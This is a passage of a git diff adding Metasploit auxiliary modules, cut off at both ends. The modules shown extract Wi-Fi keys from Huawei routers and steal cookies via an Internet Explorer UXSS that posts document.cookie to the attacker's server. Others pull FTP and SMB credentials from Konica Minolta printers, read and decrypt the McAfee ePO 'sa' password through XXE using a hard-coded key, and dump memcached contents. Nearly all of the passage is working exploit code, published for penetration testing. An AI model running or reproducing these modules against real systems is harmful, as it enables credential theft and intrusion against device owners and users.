/<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i + } + + def initialize(info={}) + super(update_info(info, + 'Name' => "Huawei Datacard Information Disclosure Vulnerability", + 'Description' => %q{ + This module exploits an unauthenticated information disclosure vulnerability in Huawei + SOHO routers. The module will gather information by accessing the /api pages where + authentication is not required, allowing configuration changes as well as information + disclosure, including any stored SMS. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jimson K James', + 'Tom James <tomsmaily[at]aczire.com>', # Msf module + ], + 'References' => + [ + ['CWE', '425'], + ['CVE', '2013-6031'], + ['US-CERT-VU', '341526'], + ['URL', 'http://www.huaweidevice.co.in/Support/Downloads/'], + ], + 'DisclosureDate' => "Nov 11 2013" )) + + register_options( + [ + Opt::RHOST('mobilewifi.home') + ], self.class) + + end + + # Gather basic router information + def run + get_router_info + print_line('') + get_router_mac_filter_info + print_line('') + get_router_wan_info + print_line('') + get_router_dhcp_info + print_line('') + get_wifi_info + end + + def get_wifi_info + + print_status("#{peer} - Getting WiFi Key details...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/wlan/security-settings', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + log = '' + + print_status("WiFi Key Details") + + wifi_ssid = get_router_ssid + if wifi_ssid + print_status("WiFi SSID: #{wifi_ssid}") + log << "WiFi SSID: #{wifi_ssid}\n" + end + + WIFI_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + log << "#{k}: #{info}\n" + end + end + + report_note( + :host => rhost, + :type => 'wifi_keys', + :data => log + ) + end + + def get_router_info + + print_status("#{peer} - Gathering basic device information...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/device/information', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + + print_status("Basic Information") + + BASIC_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + end + end + end + + def get_router_ssid + print_status("#{peer} - Gathering device SSID...") + + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/wlan/basic-settings', + }) + + # check whether we got any response from server and proceed. + unless is_target?(res) + return nil + end + + resp_body = res.body.to_s + + # Grabbing the Wifi SSID + if resp_body.match(/<WifiSsid>(.*)<\/WifiSsid>/i) + return $1 + end + + nil + end + + def get_router_mac_filter_info + print_status("#{peer} - Gathering MAC filters...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/wlan/mac-filter', + }) + + unless is_target?(res) + return + end + + print_status('MAC Filter Information') + + resp_body = res.body.to_s + + if resp_body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i) + wifi_mac_filter_status = $1 + print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" ) + end + + (0..9).each do |i| + if resp_body.match(/<WifiMacFilterMac#{i}>(.*)<\/WifiMacFilterMac#{i}>/i) + wifi_mac_filter = $1 + unless wifi_mac_filter.empty? + print_status("Mac: #{wifi_mac_filter}") + end + end + end + end + + def get_router_wan_info + print_status("#{peer} - Gathering WAN information...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/monitoring/status', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + + print_status('WAN Details') + + WAN_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + end + end + end + + def get_router_dhcp_info + print_status("#{peer} - Gathering DHCP information...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/dhcp/settings', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + + print_status('DHCP Details') + + # Grabbing the DhcpStatus + if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i) + dhcp_status = $1 + print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}") + end + + unless dhcp_status && dhcp_status == '1' + return + end + + DHCP_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + end + end + end + + def is_target?(res) + # check whether we got any response from server and proceed. + unless res + print_error("#{peer} - Failed to get any response from server") + return false + end + + # Is it a HTTP OK + unless res.code == 200 + print_error("#{peer} - Did not get HTTP 200, URL was not found") + return false + end + + # Check to verify server reported is a Huawei router + unless res.headers['Server'].match(/IPWEBS\/1.4.0/i) + print_error("#{peer} - Target doesn't seem to be a Huawei router") + return false + end + + true + end +end diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb new file mode 100644 index 0000000000..fb272170db --- /dev/null +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", + 'Description' => %q{ + This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet + Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot + have X-Frame-Options or it will fail). You can also have your own custom JavaScript + by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if + you are behind NAT. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'David Leo', # Original discovery + 'filedescriptor', # PoC + 'joev', # He figured it out really + 'sinn3r' # MSF + ], + 'References' => + [ + [ 'CVE', '2015-0072' ], + [ 'OSVDB', '117876' ], + [ 'MSB', 'MS15-018' ], + [ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'], + [ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ] + ], + 'Platform' => 'win', + 'DisclosureDate' => "Feb 1 2015" + )) + + register_options( + [ + OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]), + OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ]) + ], self.class) + end + + def setup + if target_uri !~ /^http/i + raise Msf::OptionValidateError.new(['TARGET_URI']) + end + + super + end + + def target_uri + datastore['TARGET_URI'] + end + + def get_html + @html ||= html + end + + def ninja_cookie_stealer_name + @ninja ||= "#{Rex::Text.rand_text_alpha(5)}.php" + end + + def get_uri(cli=self.cli) + ssl = datastore["SSL"] + proto = (ssl ? "https://" : "http://") + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (cli and cli.peerhost) + host = Rex::Socket.source_address(cli.peerhost) + else + host = srvhost_addr + end + + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + if datastore['URIPORT'] != 0 + port = ':' + datastore['URIPORT'].to_s + elsif (ssl and datastore["SRVPORT"] == 443) + port = '' + elsif (!ssl and datastore["SRVPORT"] == 80) + port = '' + else + port = ":" + datastore["SRVPORT"].to_s + end + + uri = proto + host + port + get_resource + + uri + end + + def server_uri + @server_uri ||= get_uri + end + + def js + datastore['CUSTOMJS'] || %Q|var e = document.createElement('img'); e.src='#{server_uri}/#{ninja_cookie_stealer_name}?data=' + encodeURIComponent(document.cookie);| + end + + def html + %Q| +<iframe style="display:none" src="#{get_resource}/redirect.php"></iframe> +<iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe> +<script> + window.onmessage = function(e){ top[1].postMessage(atob("#{Rex::Text.encode_base64(js)}"),"*"); }; + var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\\\"\\\\",\\\\"*\\\\")'; + top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{get_resource}/sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"'); +</script> + | + end + + def run + exploit + end + + def extract_cookie(uri) + Rex::Text.uri_decode(uri.to_s.scan(/#{ninja_cookie_stealer_name}\?data=(.+)/).flatten[0].to_s) + end + + def on_request_uri(cli, request) + case request.uri + when /redirect\.php/ + print_status("Sending redirect") + send_redirect(cli, "#{datastore['TARGET_URI']}") + when /sleep\.php/ + sleep(3) + send_response(cli, '') + when /#{ninja_cookie_stealer_name}/ + data = extract_cookie(request.uri) + if data.blank? + print_status("The XSS worked, but no cookie") + else + print_status("Got cookie") + print_line(data) + report_note( + :host => cli.peerhost, + :type => 'ie.cookie', + :data => data + ) + path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie") + vprint_good("Cookie stored as: #{path}") + end + else + print_status("Sending HTML") + send_response(cli, get_html) + end + end + +end diff --git a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb new file mode 100644 index 0000000000..4f43207091 --- /dev/null +++ b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb @@ -0,0 +1,259 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Konica Minolta Password Extractor', + 'Description' => %q{ + This module will extract FTP and SMB account usernames and passwords + from Konica Minolta multifunction printer (MFP) devices. Tested models include + C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554. + }, + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT('50001'), + OptString.new('USER', [false, 'The default Admin user', 'Admin']), + OptString.new('PASSWD', [true, 'The default Admin password', '12345678']), + OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) + + ], self.class) + end + + # Creates the XML data to be sent that will extract AuthKey + def generate_authkey_request_xlm(major, minor) + user = datastore['USER'] + passwd = datastore['PASSWD'] + Nokogiri::XML::Builder.new do |xml| + xml.send('SOAP-ENV:Envelope', + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/', + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){ + xml.send('SOAP-ENV:Header'){ + xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){ + xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' } + xml.send('UserName', 'xmlns' => '') { xml.text '' } + xml.send('Password', 'xmlns' => '') { xml.text '' } + xml.send('Version', 'xmlns' => ''){ + xml.send('Major') { xml.text "#{major}" } + xml.send('Minor') { xml.text "#{minor}" } + } + xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' } + } + } + xml.send('SOAP-ENV:Body') { + xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){ + xml.send('OperatorInfo'){ + xml.send('UserType') { xml.text "#{user}" } + xml.send('Password') { xml.text "#{passwd}" } + } + xml.send('TimeOut') { xml.text '60' } + } + } + } + end + end + + # Create XML data that will be sent to extract SMB and FTP passwords from device + def generate_pwd_request_xlm(major, minor, authkey) + Nokogiri::XML::Builder.new do |xml| + xml.send('SOAP-ENV:Envelope', + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/', + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){ + xml.send('SOAP-ENV:Header'){ + xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){ + xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' } + xml.send('UserName', 'xmlns' => '') { xml.text '' } + xml.send('Password', 'xmlns' => '') { xml.text '' } + xml.send('Version', 'xmlns' => ''){ + xml.send('Major') { xml.text "#{major}" } + xml.send('Minor') { xml.text "#{minor}" } + } + xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' } + } + } + xml.send('SOAP-ENV:Body'){ + xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){ + xml.send('OperatorInfo'){ + xml.send('AuthKey') { xml.text "#{authkey}" } + } + xml.send('AbbrListCondition'){ + xml.send('SearchKey') { xml.text 'None' } + xml.send('WellUse') { xml.text 'false' } + xml.send('ObtainCondition'){ + xml.send('Type') { xml.text 'OffsetList' } + xml.send('OffsetRange'){ + xml.send('Start') { xml.text '1' } + xml.send('Length') { xml.text '100' } + } + } + xml.send('BackUp') { xml.text 'true' } + xml.send('BackUpPassword') { xml.text 'MYSKIMGS' } + } + } + } + } + end + end + + # This next section will post the XML soap messages for information gathering. + def run_host(ip) + print_status("Attempting to extract username and password from the host at #{peer}") + version + end + + # Validate XML Major Minor version + def version + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>' + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml0_body = ::Nokogiri::XML(response.body) + major_parse = xml0_body.xpath('//Major').text + minor_parse = xml0_body.xpath('//Minor').text + major = ("#{major_parse}") + minor = ("#{minor_parse}") + login(major, minor) + end + + rescue ::Rex::ConnectionError + print_error("#{peer} - Version check Connection failed.") + end + + # This section logs on and retrieves AuthKey token + def login(major, minor) + authreq_xml = generate_authkey_request_xlm(major, minor) + # Send post request with crafted XML to login and retreive AuthKey + begin + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => authreq_xml.to_xml + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml1_body = ::Nokogiri::XML(response.body) + authkey_parse = xml1_body.xpath('//AuthKey').text + authkey = ("#{authkey_parse}") + extract(major, minor, authkey) + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Login Connection failed.") + end + end + + # This section post xml soap message that will extract usernames and passwords + def extract(major, minor, authkey) + if (authkey != '') + # create xml request to extract user credintial settings + smbreq_xml = generate_pwd_request_xlm(major, minor, authkey) + # Send post request with crafted XML as data + begin + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => smbreq_xml.to_xml + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml2_body = ::Nokogiri::XML(response.body) + @smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text } + @smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text } + @smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text } + @ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text } + @ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text } + @ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text } + @ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text } + end + end + i = 0 + # output SMB data + @smb_user.each do + shost = "#{@smb_host[i]}" + sname = "#{@smb_user[i]}" + sword = "#{@smb_pass[i]}" + print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139") + register_creds('smb', shost, '139', sname, sword) + i += 1 + end + i = 0 + # output FTP data + @ftp_user.each do + fhost = "#{@ftp_host[i]}" + fname = "#{@ftp_user[i]}" + fword = "#{@ftp_pass[i]}" + fport = "#{@ftp_port[i]}" + print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}") + register_creds('ftp', fhost, fport, fname, fword) + i += 1 + end + + else + print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model') + return + end + end + + def register_creds(service_name, remote_host, remote_port, username, password) + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + workspace_id: myworkspace.id, + private_data: password, + private_type: :password, + username: username + } + + service_data = { + address: remote_host, + port: remote_port, + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/gather/mantisbt_admin_sqli.rb b/modules/auxiliary/gather/mantisbt_admin_sqli.rb index 07e91a0437..7037d8a96f 100644 --- a/modules/auxiliary/gather/mantisbt_admin_sqli.rb +++ b/modules/auxiliary/gather/mantisbt_admin_sqli.rb @@ -84,10 +84,10 @@ class Metasploit4 < Msf::Auxiliary fail_with("Error in server response") end - #qgjuq is prepended to the result of the sql injection - #qirpq is appended to the result of the sql injection - #This allows the use of a simple regex to grab the contents - #of the file easily from the page source. + # qgjuq is prepended to the result of the sql injection + # qirpq is appended to the result of the sql injection + # This allows the use of a simple regex to grab the contents + # of the file easily from the page source. file = /qgjuq(.*)qirpq/.match(resp.body) file = file[0].gsub('qgjuq', '').gsub('qirpq', '') diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb new file mode 100644 index 0000000000..4d3803f39a --- /dev/null +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -0,0 +1,259 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure', + 'Description' => %q{ + This module will exploit an authenticated XXE vulnerability to read the keystore.properties + off of the filesystem. This properties file contains an encrypted password that is set during + installation. What is interesting about this password is that it is set as the same password + as the database 'sa' user and of the admin user created during installation. This password + is encrypted with a static key, and is encrypted using a weak cipher (ECB). By default, + if installed with a local SQL Server instance, the SQL Server is listening on all interfaces. + + Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server + user in order to achieve remote command execution with permissions of the database process. If + the administrator has not changed the password for the initially created account since installation, + the attacker will have the password for this account. By default, 'admin' is recommended. + + Any user account can be used to exploit this, all that is needed is a valid credential. + + The most data that can be successfully retrieved is 255 characters due to length restrictions + on the field used to perform the XXE attack. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>' #metasploit module + ], + 'References' => + [ + ['CVE', '2015-0921'], + ['CVE', '2015-0922'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8'] + ], + 'DisclosureDate' => 'Jan 6 2015' + )) + + register_options( + [ + Opt::RPORT(8443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), + OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) + ], self.class) + end + + def run + key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used + + aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk + aes.decrypt + aes.padding=1 + aes.key = key + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'), + 'method' => 'POST', + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'] + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + if res.code != 302 + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + #This vuln requires a bit of setup before we can exploit it + + print_status("Setting up environment for exploitation") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'), + 'vars_get' => { + 'sectionId' => 'orion.automation', + 'tabId' => 'orion.tasklog', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'filter' => 'scheduler.tasklog.filter.day', + 'secondaryFilter' => '', + 'tableCellRendererAttr' => 'taskLogCellRenderer', + 'count' => 44, + 'sortProperty' => 'OrionTaskLogTask.StartDate', + 'sortOrder' => 1, + 'id' => 'taskLogTable' + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), + 'method' => 'POST', + 'vars_post' => { + 'dataSourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'columnWidths' => '285,285,285,285,285,285,285,285', + 'sortColumn' => 'OrionTaskLogTask.StartDate', + 'sortOrder' => '1', + 'showFilters' => 'true', + 'currentIndex' => 0, + 'orion.user.security.token' => auth_token, + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), + 'method' => 'POST', + 'vars_post' => { + 'displayType' => 'text_lookup', + 'operator' => 'eq', + 'propKey' => 'OrionTaskLogTask.Name', + 'instanceId' => 0, + 'orion.user.security.token' => auth_token, + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + print_status("Sending payload...") + + filepath = "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties" + xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+filepath+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>' + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), + 'method' => 'POST', + 'vars_post' => { + 'orion.user.security.token' => auth_token, + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'conditionXML' => xxe, + 'secondaryFilter' => '', + 'op' => 'eq', + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + if res.code == 404 + fail_with(Failure::Unknown, "Server likely has mitigation in place") + end + + print_status("Getting encrypted passphrase value from keystore.properties file...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ + + passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") + + print_status("Base64 encoded encrypted passphrase: #{passphrase}") + + passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final + + print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}") + end + +end diff --git a/modules/auxiliary/gather/memcached_extractor.rb b/modules/auxiliary/gather/memcached_extractor.rb new file mode 100644 index 0000000000..2aa7fee13d --- /dev/null +++ b/modules/auxiliary/gather/memcached_extractor.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Memcached Extractor', + 'Description' => %q( + This module extracts the slabs from a memcached instance. It then + finds the keys and values stored in those slabs. + ), + 'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt'] + ] + )) + + register_options( + [ + Opt::RPORT(11211) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]), + OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10]) + ], self.class + ) + end + + def max_keys + datastore['MAXKEYS'].to_i + end + + def print_keys + datastore['PRINTKEYS'].to_i + end + + def localhost?(ip) + %w(localhost 127.0.0.1).include?(ip) + end + + # Returns array of keys for all slabs + def enumerate_keys + keys = [] + enumerate_slab_ids.each do |sid| + loop do + sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0) + data = sock.recv(4096) + break if !data || data.length == 0 + matches = /^ITEM (?<key>.*) \[/.match(data) + keys << matches[:key] if matches + break if data =~ /^END/ + end + end + keys + end + + # Returns array of slab ids as strings + def enumerate_slab_ids + sock.send("stats slabs\r\n", 0) + slab_ids = [] + loop do + data = sock.recv(4096) + break if !data || data.length == 0 + matches = data.scan(/^STAT (?<slab_id>(\d)*):/) + slab_ids << matches + break if data =~ /^END/ + end + slab_ids.flatten! + slab_ids.uniq! || [] + end + + def data_for_keys(keys = []) + all_data = {} + keys.each do |key| + sock.send("get #{key}\r\n", 0) + data = [] + loop do + data_part = sock.recv(4096) + break if !data_part || data_part.length == 0 + data << data_part + break if data_part =~ /^END/ + end + all_data[key] = data.join + end + all_data + end + + def determine_version + sock.send("version\r\n", 0) + stats = sock.recv(4096) + if /^VERSION (?<version>[\d\.]+)/ =~ stats + version + else + nil + end + end + + def run_host(ip) + peer = "#{ip}:#{rport}" + vprint_status("#{peer} - Connecting to memcached server...") + begin + connect + if (version = determine_version) + vprint_good("#{peer} - Connected to memcached version #{version}") + unless localhost?(ip) + report_service( + host: ip, + name: 'memcached', + port: rport, + proto: 'tcp', + info: version + ) + end + else + print_error("#{peer} - unable to determine memcached protocol version") + return + end + keys = enumerate_keys + print_good("#{peer} - Found #{keys.size} keys") + return if keys.size == 0 + + data = data_for_keys(keys) + result_table = Rex::Ui::Text::Table.new( + 'Header' => "Keys/Values Found for #{peer}", + 'Indent' => 1, + 'Columns' => [ 'Key', 'Value' ] + ) + data.take(print_keys).each { |key, value| result_table << [key, value.inspect] } + print_line + print_line("#{result_table}") + unless localhost?(ip) + path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor') + print_good("#{peer} - memcached loot stored at #{path}") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout + vprint_error("#{peer} - Could not connect to memcached server!") + end + end +end diff --git a/modules/auxiliary/gather/ms14_052_xmldom.rb b/modules/auxiliary/gather/ms14_052_xmldom.rb new file mode 100644 index 0000000000..763be66084 --- /dev/null +++ b/modules/auxiliary/gather/ms14_052_xmldom.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::JSObfu + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure", + 'Description' => %q{ + This module will use the Microsoft XMLDOM object to enumerate a remote machine's filenames. + It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you + must supply your own list of file paths. Each file path should look like this: + c:\\\\windows\\\\system32\\\\calc.exe + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Soroush Dalili', # @irsdl - Original discovery. MSF module is from his PoC + 'sinn3r' + ], + 'References' => + [ + [ 'CVE', '2013-7331'], + [ 'MSB', 'MS14-052' ], + [ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ], + [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Internet Explorer 8 / Internet Explorer 9', {} ], + ], + 'DisclosureDate' => "Sep 9 